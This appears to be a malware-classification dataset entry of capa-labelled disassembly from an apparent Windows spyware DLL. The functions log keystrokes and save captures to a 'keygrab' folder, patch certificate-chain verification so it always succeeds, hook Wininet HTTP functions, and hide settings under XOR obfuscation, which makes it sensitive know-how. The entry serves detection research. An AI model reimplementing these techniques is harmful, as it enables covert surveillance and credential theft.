joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10008c30
Capabilities:
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov bl, byte [ebp + 0xc]
push esi
push edi
mov edi, eax
xor eax, eax
test bl, bl
setne al
mov byte [ebp - 4], 0
dec eax
and eax, 0xc0000000
mov dword [ebp + 0xc], eax
xor al, al
movzx ecx, al
cmp dword [ecx*8 + 0x10046d90], edi
je 0x10008c66
inc al
cmp al, 0x58
jb 0x10008c52
jmp 0x10008c89
movzx eax, al
add eax, eax
add eax, eax
mov dl, byte [eax + eax + 0x10046d94]
add eax, eax
cmp byte [eax + 0x10046d95], 0
mov byte [ebp - 4], dl
je 0x10008c89
or dword [ebp + 0xc], 0x1000000
mov eax, dword [0x1004cc3c]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp byte [ebp - 4], 0
je 0x10008d11
mov ecx, dword [ebp - 4]
push ecx
mov cl, bl
call fcn.10008e40
movzx edi, byte [ebp - 4]
push 0
push edi
call dword [sym.imp.USER32.dll_MapVirtualKeyW]
test al, al
je 0x10008cc2
movzx edx, al
shl edx, 0x10
or dword [ebp + 0xc], edx
mov eax, dword [0x1004d6b8]
test byte [eax + 0x1a], 0x80
je 0x10008cd7
test byte [eax + 0x19], 0x80
jne 0x10008cd7
mov al, 1
jmp 0x10008cd9
xor al, al
test bl, bl
je 0x10008cf7
xor ecx, ecx
test al, al
setne cl
mov byte [0x1004cc3b], 1
lea esi, [ecx*4 + 0x100]
jmp 0x10008d9a
xor edx, edx
test al, al
setne dl
mov byte [0x1004cc3b], 0
lea esi, [edx*4 + 0x101]
jmp 0x10008d9a
cmp byte [0x1004cc3b], 0
mov esi, dword [0x1004d6b8]
jne 0x10008d3e
cmp byte [0x1004cc3a], 0
je 0x10008d50
add edi, 0xffffffe0
test bl, bl
je 0x10008d8e
mov byte [0x1004cc3a], 1
mov esi, 0x100
jmp 0x10008d9a
test byte [esi + 0x18], 0x80
je 0x10008d29
cmp byte [esi + 0x1a], 0
jne 0x10008d29
cmp byte [esi + 0x19], 0
jne 0x10008d29
test bl, bl
je 0x10008d79
mov eax, edi
call fcn.10008b00
movzx eax, ax
test ax, ax
je 0x10008d79
test byte [esi + 0x1a], 0x80
je 0x10008d70
or dword [ebp + 0xc], 0x20000000
mov edi, eax
mov esi, 0x102
jmp 0x10008d9a
mov eax, dword [0x1004cc3c]
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov byte [0x1004cc3a], 0
mov esi, 0x101
mov ecx, dword [0x1004cc3c]
push ecx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov al, byte [ebp - 4]
call fcn.10008b90
test al, al
je 0x10008df7
cmp byte [0x10057bae], 0
je 0x10008e28
cmp byte [0x10057bf2], 0
jne 0x10008dd8
call fcn.1000c910
pop edi
pop esi
mov byte [0x10057bf2], al
pop ebx
mov esp, ebp
pop ebp
ret 8
mov edx, dword [0x1004d664]
push 0
push 0
push 0xe2ad
push edx
call dword [sym.imp.USER32.dll_SendMessageA]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
cmp byte [0x10057baf], 0
jne 0x10008e21
mov eax, dword [0x1004d6bc]
mov ebx, dword [ebp + 8]
push 0
push 3
push eax
push ebx
call dword [sym.imp.USER32.dll_SendMessageW]
mov ecx, dword [ebp + 0xc]
push ecx
push edi
push esi
push ebx
call dword [sym.imp.USER32.dll_PostMessageW]
mov byte [0x10057baf], 0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x10009160
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
movzx esi, ax
shr eax, 0x10
push edi
mov edi, eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x10], esi
mov dword [ebp - 0xc], edi
cmp eax, 0x201
ja 0x100091c5
je 0x100091bc
mov ecx, eax
sub ecx, 0xa1
je 0x100091b1
sub ecx, 3
je 0x100091a6
sub ecx, 3
jne 0x100092a7
mov dword [ebp - 4], 0xa9
mov bl, 1
jmp 0x100091ea
mov dword [ebp - 4], 0xa6
mov bl, 1
jmp 0x100091ea
mov dword [ebp - 4], 0xa3
mov bl, 1
jmp 0x100091ea
mov dword [ebp - 4], 0x203
jmp 0x100091e8
mov ecx, eax
sub ecx, 0x204
je 0x100091e1
sub ecx, 3
jne 0x100092a7
mov dword [ebp - 4], 0x209
jmp 0x100091e8
mov dword [ebp - 4], 0x206
xor bl, bl
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub esi, dword [0x1004cc40]
sub edi, dword [0x1004cc44]
mov ecx, eax
xor eax, eax
mov dword [ebp - 8], ecx
cmp esi, eax
jge 0x10009209
neg esi
cmp edi, eax
jge 0x1000920f
neg edi
mov edx, dword [0x10057be4]
cmp edx, dword [ebp + 8]
jne 0x10009278
mov edx, dword [0x10057be8]
cmp edx, dword [ebp + 0xc]
jne 0x10009278
sub ecx, dword [0x10057bec]
cmp ecx, 0x3e8
ja 0x10009278
test bl, bl
jne 0x10009249
mov eax, dword [ebp + 8]
push 0xffffffffffffffe6
push eax
call dword [sym.imp.USER32.dll_GetClassLongA]
test al, 8
je 0x10009278
xor eax, eax
cmp esi, 2
jg 0x10009278
cmp edi, 2
jg 0x10009278
mov dword [0x1004cc40], eax
mov dword [0x1004cc44], eax
mov dword [0x10057be8], eax
mov dword [0x10057bec], eax
mov dword [0x10057be4], eax
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 8]
mov eax, dword [ebp + 8]
mov dword [0x10057be8], ecx
mov ecx, dword [ebp - 0x10]
mov dword [0x10057bec], edx
mov edx, dword [ebp - 0xc]
mov dword [0x10057be4], eax
mov eax, dword [ebp + 0xc]
mov dword [0x1004cc40], ecx
mov dword [0x1004cc44], edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x1000c330
Capabilities:
Get graphical window text
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push 0
push ebx
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push 1
mov edi, eax
push esi
push edi
call dword [sym.imp.USER32.dll_AttachThreadInput]
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push eax
push ecx
push 0xd
push ebx
call dword [sym.imp.USER32.dll_SendMessageA]
push 0
push esi
push edi
mov ebx, eax
call dword [sym.imp.USER32.dll_AttachThreadInput]
pop edi
pop esi
mov eax, ebx
pop ebx
pop ebp
ret 0xc

Function at 0x1000c910
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 0
push 0
push 0
push 0x1000c8e0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
mov dword [ebp - 4], 0
test esi, esi
je 0x1000c953
lea eax, [ebp - 4]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x1000c953
test byte [ebp - 4], 2
jne 0x1000c953
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [0x1004cc3c]
push 0xffffffffffffffff
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [0x1004d6b8]
mov esi, dword [eax + 0x10c]
xor edx, edx
mov dword [eax + 0x110], 0
mov dword [eax + 0x10c], 0
mov word [eax + 0x114], dx
mov eax, dword [0x1004cc3c]
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push esi
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x1000c9b1
push 0
push 0
push 0x215
push esi
call dword [sym.imp.USER32.dll_PostMessageA]
call fcn.1000cd40
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x1000c9f0
Capabilities:
Encode data using xor
Get hostname

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
lea eax, [ebp - 4]
push eax
push 0x1004d6a8
mov dword [ebp - 4], 0x10
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push 0x1004d6a8
call dword [sym.imp.KERNEL32.dll_lstrlenA]
or ecx, 0xffffffff
mov edx, 0x1004d6a8
test eax, eax
je 0x1000ca3d
movzx esi, byte [edx]
xor esi, ecx
and esi, 0xff
shr ecx, 8
xor ecx, dword [esi*4 + 0x1004c818]
inc edx
dec eax
jne 0x1000ca24
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
not ecx
mov esi, ecx
push esi
push str.MSCTF.Shared.MAPPING._x
push 0x1004d6c0
call edi
lea ebx, [esi + esi]
push ebx
push str.MSCTF.Shared.MAPPING._x
push 0x1004d66c
call edi
lea ecx, [esi + esi*2]
push ecx
push str.MSCTF.Shared.MAPPING._x
push 0x1004d6fc
call edi
push esi
push str.MSCTF.Shared.MUTEX._x
push 0x1004d790
call edi
push ebx
push str.MSCTF.Shared.MUTEX._x
push 0x1004d750
call edi
add esp, 0x3c
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000caa0
Capabilities:
Read file via mapping

Disassembly:
push ebx
push esi
push edi
call fcn.10007650
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0
push 0
push 0
mov dword [0x1004c338], eax
call dword [sym.imp.KERNEL32.dll_HeapCreate]
mov dword [0x1004c814], eax
call fcn.1000c9f0
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push 0x1004d6c0
push 0x2939
push 0
push 4
push 0
push 0xffffffffffffffff
xor bl, bl
call esi
mov edi, dword [sym.imp.KERNEL32.dll_MapViewOfFile]
push 0
push 0
push 0
push 0xf001f
push eax
mov dword [0x10057c10], eax
call edi
mov dword [0x1004d6b8], eax
test eax, eax
je 0x1000cbe1
call fcn.100080b0
mov eax, dword [0x1004d6b8]
mov ecx, dword [eax + 0x11b]
push 0x1004d66c
push ecx
push 0
push 4
push 0
push 0xffffffffffffffff
call esi
push 0
push 0
push 0
push 0xf001f
push eax
mov dword [0x10057c14], eax
call edi
mov dword [0x10057c0c], eax
test eax, eax
je 0x1000cbe1
mov esi, dword [sym.imp.KERNEL32.dll_CreateMutexA]
push 0x1004d790
push 0
push 0
call esi
mov dword [0x1004cc3c], eax
test eax, eax
je 0x1000cbe1
push 0
push 0
push 0
call esi
mov dword [0x1004cc24], eax
test eax, eax
je 0x1000cbe1
push 0x1004d750
push 0
push 0
call esi
mov dword [0x1004cc30], eax
test eax, eax
je 0x1000cbe1
mov esi, dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
push 0
push 0
call esi
mov dword [0x1004cc28], eax
test eax, eax
je 0x1000cbe1
push 0
push 0
push 1
push 0
call esi
mov dword [0x1004cc20], eax
test eax, eax
je 0x1000cbe1
push 0
push 0
push 0
push 0
call esi
mov dword [0x1004cc2c], eax
test eax, eax
je 0x1000cbe1
push 0x1004d6fc
push 0
push 0
push 0
call esi
mov dword [0x1004cc1c], eax
test eax, eax
je 0x1000cbe1
mov bl, 1
pop edi
pop esi
mov al, bl
pop ebx
ret

Function at 0x1000cbf0
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa4
push ebx
push esi
push 0x90
lea eax, [ebp - 0xa0]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea ecx, [ebp - 0xa4]
push ecx
mov dword [ebp - 0xa4], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0xa0], 5
mov eax, 1
setbe dl
xor ecx, ecx
mov byte [0x1004d4b0], dl
cpuid
lea esi, [ebp - 0x10]
mov dword [esi], eax
mov dword [esi + 4], ebx
mov dword [esi + 8], ecx
mov dword [esi + 0xc], edx
test dword [ebp - 8], 0x200
pop esi
pop ebx
je 0x1000cc68
mov dword [0x1004c334], 0x10007bc0
mov esp, ebp
pop ebp
ret
test dword [ebp - 4], 0x4000000
je 0x1000cc7b
mov dword [0x1004c334], 0x100079a0
mov esp, ebp
pop ebp
ret

Function at 0x1000cc80
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push 0x101
lea eax, [ebp - 0x104]
push eax
push ecx
call dword [sym.imp.USER32.dll_GetClassNameA]
mov edx, eax
or eax, 0xffffffff
lea ecx, [ebp - 0x104]
test edx, edx
je 0x1000ccca
push esi
lea esp, [esp]
movzx esi, byte [ecx]
xor esi, eax
and esi, 0xff
shr eax, 8
xor eax, dword [esi*4 + 0x1004c818]
inc ecx
dec edx
jne 0x1000ccb0
pop esi
not eax
mov esp, ebp
pop ebp
ret
Function at 0x1000cd40
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x10057bf4]
sub esp, 0x104
push ebx
mov ebx, dword [sym.imp.USER32.dll_GetWindow]
push esi
push edi
push 1
push 5
push eax
call ebx
push eax
call ebx
mov edi, dword [sym.imp.USER32.dll_PostMessageA]
mov esi, eax
lea esp, [esp]
push esi
call dword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
je 0x1000ce07
push 0xfffffffffffffff0
push esi
call dword [sym.imp.USER32.dll_GetWindowLongA]
test eax, 0x40000000
jne 0x1000cdec
push 0x101
lea ecx, [ebp - 0x104]
push ecx
push esi
call dword [sym.imp.USER32.dll_GetClassNameA]
or ecx, 0xffffffff
lea edx, [ebp - 0x104]
test eax, eax
je 0x1000cdcf
nop
movzx ebx, byte [edx]
xor ebx, ecx
and ebx, 0xff
shr ecx, 8
xor ecx, dword [ebx*4 + 0x1004c818]
inc edx
dec eax
jne 0x1000cdb0
mov ebx, dword [sym.imp.USER32.dll_GetWindow]
not ecx
test ecx, ecx
je 0x1000cde6
xor eax, eax
cmp ecx, dword [eax*8 + 0x1004c230]
je 0x1000ce1d
inc eax
cmp eax, 0xb
jb 0x1000cdd7
xor eax, eax
test al, 0x20
je 0x1000ce07
push 0
push 0x1b
push 0x100
push esi
call edi
push 0xc01b0000
push 0x1b
push 0x101
push esi
call edi
push 3
push esi
call ebx
mov esi, eax
test esi, esi
jne 0x1000cd70
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
movzx eax, word [eax*8 + 0x1004c234]
jmp 0x1000cde8
Function at 0x100100b0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push edi
push 0
push 0
push str.Crypt32.dll
mov dword [ebp - 0xc], 0xc240c033
mov word [ebp - 8], 0x10
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10010121
push str.CertVerifyCertificateChainPolicy
push eax
call edi
mov esi, eax
test esi, esi
je 0x10010121
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 4]
push eax
push 0x40
push 6
push esi
call ebx
test eax, eax
je 0x10010120
mov eax, dword [ebp - 4]
test eax, eax
je 0x10010120
mov ecx, dword [ebp - 0xc]
mov dx, word [ebp - 8]
mov dword [esi], ecx
lea ecx, [ebp - 4]
push ecx
push eax
push 6
push esi
mov word [esi + 4], dx
call ebx
pop ebx
push 0
push 0
push str.Wininet.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov esi, eax
test esi, esi
je 0x10010236
push 0x100474d0
push esi
call edi
test eax, eax
je 0x10010156
push 0x1004d820
push 0x1000fcb0
push eax
call fcn.10018fc0
push str.HttpSendRequestW
push esi
call edi
test eax, eax
je 0x10010172
push 0x1004d824
push 0x1000fba0
push eax
call fcn.10018fc0
push str.HttpSendRequestExA
push esi
call edi
test eax, eax
je 0x1001018e
push 0x1004d818
push 0x1000fe80
push eax
call fcn.10018fc0
push str.HttpSendRequestExW
push esi
call edi
test eax, eax
je 0x100101aa
push 0x1004d834
push 0x1000fdc0
push eax
call fcn.10018fc0
push str.InternetQueryDataAvailable
push esi
call edi
test eax, eax
je 0x100101c6
push 0x1004d82c
push 0x10010020
push eax
call fcn.10018fc0
push 0x1004753c
push esi
call edi
test eax, eax
je 0x100101e2
push 0x1004d830
push 0x1000ff30
push eax
call fcn.10018fc0
push str.InternetReadFileExA
push esi
call edi
test eax, eax
je 0x100101fe
push 0x1004d81c
push 0x1000ffd0
push eax
call fcn.10018fc0
push str.InternetReadFileExW
push esi
call edi
test eax, eax
je 0x1001021a
push 0x1004d80c
push 0x1000ff80
push eax
call fcn.10018fc0
push 0x10047578
push esi
call edi
test eax, eax
je 0x10010236
push 0x1004d810
push 0x1000f820
push eax
call fcn.10018fc0
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10010570
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
push ebx
push edi
xor ebx, ebx
push 0x103
lea eax, [ebp - 0x213]
push ebx
push eax
xor edi, edi
mov dword [ebp - 8], 1
mov dword [ebp - 0xc], 0x104
mov dword [ebp - 4], ebx
mov byte [ebp - 0x214], bl
call sub.MSVCRT.dll_memset
push 0xff
lea ecx, [ebp - 0x10f]
push ebx
push ecx
mov byte [ebp - 0x110], bl
call sub.MSVCRT.dll_memset
mov ecx, dword [ebp + 8]
add esp, 0x18
lea eax, [ebp - 4]
push eax
push 0x101
push ebx
push str.softwaremicrosoft
xor edx, edx
push ecx
mov word [ebp - 0x10], dx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100106cb
lea edx, [ebp - 0xc]
push edx
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x214]
push eax
lea ecx, [ebp - 8]
push ecx
push ebx
push 0x10058820
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x100106cb
mov word [ebp - 0x10], 1
xor ecx, ecx
lea esp, [esp]
mov byte [ebp + ecx - 0x110], cl
inc ecx
cmp ecx, 0x100
jl 0x10010620
xor ecx, ecx
mov dl, byte [eax + str.6d3ad29879a90b4dd1b4f76e82166ca3]
xor byte [ebp + ecx - 0x110], dl
inc eax
cmp eax, 0x20
jl 0x10010647
xor eax, eax
inc ecx
cmp ecx, 0x100
jl 0x10010632
lea eax, [ebp - 0x214]
push eax
mov ecx, eax
push ecx
mov edx, 0x104
lea eax, [ebp - 0x110]
call fcn.10016c40
lea eax, [ebp - 0x214]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x10010673
sub eax, edx
push esi
inc eax
xor esi, esi
cmp eax, ebx
je 0x100106ab
lea edi, [eax + 0x13]
and edi, 0xfffffff0
push edi
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
cmp esi, ebx
je 0x100106ab
push edi
push ebx
push esi
call sub.MSVCRT.dll_memset
add esp, 0xc
mov edi, esi
cmp esi, ebx
je 0x100106ca
lea eax, [ebp - 0x214]
mov edx, eax
sub esi, edx
jmp 0x100106c0
mov cl, byte [eax]
mov byte [esi + eax], cl
inc eax
cmp cl, bl
jne 0x100106c0
pop esi
mov eax, dword [ebp - 4]
cmp eax, ebx
je 0x100106d9
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x100106f0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
push ebx
push edi
xor ebx, ebx
push 0xff
lea eax, [ebp - 0x107]
push ebx
push eax
mov byte [ebp - 0x108], bl
call sub.MSVCRT.dll_memset
push 0x103
lea edx, [ebp - 0x20b]
xor ecx, ecx
push ebx
push edx
mov word [ebp - 8], cx
mov byte [ebp - 0x20c], bl
call sub.MSVCRT.dll_memset
add esp, 0x18
xor edi, edi
mov dword [ebp - 4], ebx
cmp esi, ebx
je 0x10010816
lea edx, [ebp - 0x20c]
mov eax, esi
sub edx, esi
lea ecx, [ecx]
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
cmp cl, bl
jne 0x10010750
xor eax, eax
mov word [ebp - 8], 1
xor ecx, ecx
jmp 0x10010770
mov byte [ebp + ecx - 0x108], cl
inc ecx
cmp ecx, 0x100
jl 0x10010770
xor ecx, ecx
mov dl, byte [eax + str.6d3ad29879a90b4dd1b4f76e82166ca3]
xor byte [ebp + ecx - 0x108], dl
inc eax
cmp eax, 0x20
jl 0x10010797
xor eax, eax
inc ecx
cmp ecx, 0x100
jl 0x10010782
lea eax, [ebp - 0x20c]
push eax
mov ecx, eax
push ecx
mov edx, 0x104
lea eax, [ebp - 0x108]
call fcn.10016c40
mov eax, dword [ebp + 8]
lea edx, [ebp - 4]
push edx
push 0x102
push ebx
push str.softwaremicrosoft
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10010808
mov edx, dword [ebp - 4]
push 0x104
lea ecx, [ebp - 0x20c]
push ecx
push 1
push ebx
push 0x10058820
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x10010808
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov edi, 1
mov eax, dword [ebp - 4]
cmp eax, ebx
je 0x10010816
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10011130
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push ebx
xor eax, eax
push 0x206
push eax
lea ecx, [ebp - 0x206]
push ecx
xor ebx, ebx
mov word [ebp - 0x208], ax
call sub.MSVCRT.dll_memset
mov edx, dword [ebp + 8]
add esp, 0xc
push edx
call dword [sym.imp.USER32.dll_GetParent]
test eax, eax
je 0x100111c1
push 0x104
lea ecx, [ebp - 0x208]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
test eax, eax
je 0x100111c1
push esi
push edi
xor esi, esi
mov edi, 0x1004c214
mov eax, dword [edi]
test eax, eax
je 0x100111a0
push eax
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrIW]
test eax, eax
jne 0x100111b4
inc esi
add edi, 0x10
cmp esi, 1
jb 0x10011188
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret 4
shl esi, 4
add esi, 0x1004c214
pop edi
mov ebx, esi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x100111d0
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
test eax, eax
je 0x1001132a
cmp dword [eax + 4], 0x201
jne 0x1001132a
mov eax, dword [eax]
push edi
push eax
call fcn.10011130
mov edi, eax
test edi, edi
je 0x10011329
push 0x1004d858
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
xor eax, eax
mov edi, edi
mov cl, byte [eax + 0x10057a88]
mov byte [ebp + eax - 0x108], cl
inc eax
test cl, cl
jne 0x10011210
mov eax, dword [edi + 4]
imul eax, eax, 0x104
push ebx
push esi
lea esi, [eax + 0x10059d78]
push esi
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push esi
mov esi, dword [sym.imp.SHLWAPI.dll_PathAppendA]
lea ecx, [ebp - 0x108]
push ecx
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
lea edx, [ebp - 0x108]
push edx
call ebx
test eax, eax
je 0x10011289
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x1001127f
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_SetLastError]
push str.keygrab
lea edx, [ebp - 0x108]
push edx
call esi
push 0
lea eax, [ebp - 0x108]
push eax
call ebx
test eax, eax
je 0x100112cc
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x100112c5
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
lea eax, [ebp - 0x108]
pop esi
lea edx, [eax + 1]
pop ebx
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100112e4
mov ecx, dword [edi + 0xc]
push ecx
sub eax, edx
push str._02u.bmp
lea edx, [ebp + eax - 0x108]
push 0x104
push edx
call dword [sym.imp.MSVCRT.dll__snprintf]
inc dword [edi + 0xc]
add esp, 0x10
lea eax, [ebp - 0x108]
push eax
mov eax, dword [edi + 8]
call fcn.10010ee0
push 0x1004d858
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x10011330
Capabilities:
Check if file exists
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push esi
push edi
push 0x104
push 0
push 0x10057c28
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x108]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x1005871c
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10011378
lea edi, [ebp - 0x108]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10011388
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea edx, [ebp - 0x108]
and ecx, 3
push edx
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x100113f9
push 1
push 0
lea eax, [ebp - 0x108]
call fcn.10006570
mov esi, eax
test esi, esi
je 0x100113f9
push 0x104
push esi
push 0x10057c28
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x100113f9
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
mov eax, 0x10057c28
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10011ac0
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push esi
push edi
push 2
push eax
call dword [sym.imp.USER32.dll_GetAncestor]
test eax, eax
je 0x10011b76
push 0x104
lea ecx, [ebp - 0x108]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea esi, [ebp - 0x108]
call fcn.10011330
lea ebx, [ebx]
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x10011b20
test cl, cl
je 0x10011b1c
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x10011b20
add eax, 2
add esi, 2
test cl, cl
jne 0x10011b00
xor eax, eax
jmp 0x10011b25
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x10011b76
mov eax, dword [0x10057c20]
mov dword [0x10057c24], 1
test eax, eax
je 0x10011b6a
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
push 0
mov esi, eax
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x10011b60
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov dword [0x10057c20], 0
lea edx, [ebp - 0x108]
push edx
call fcn.10011410
pop edi
pop esi
mov esp, ebp
pop ebp
ret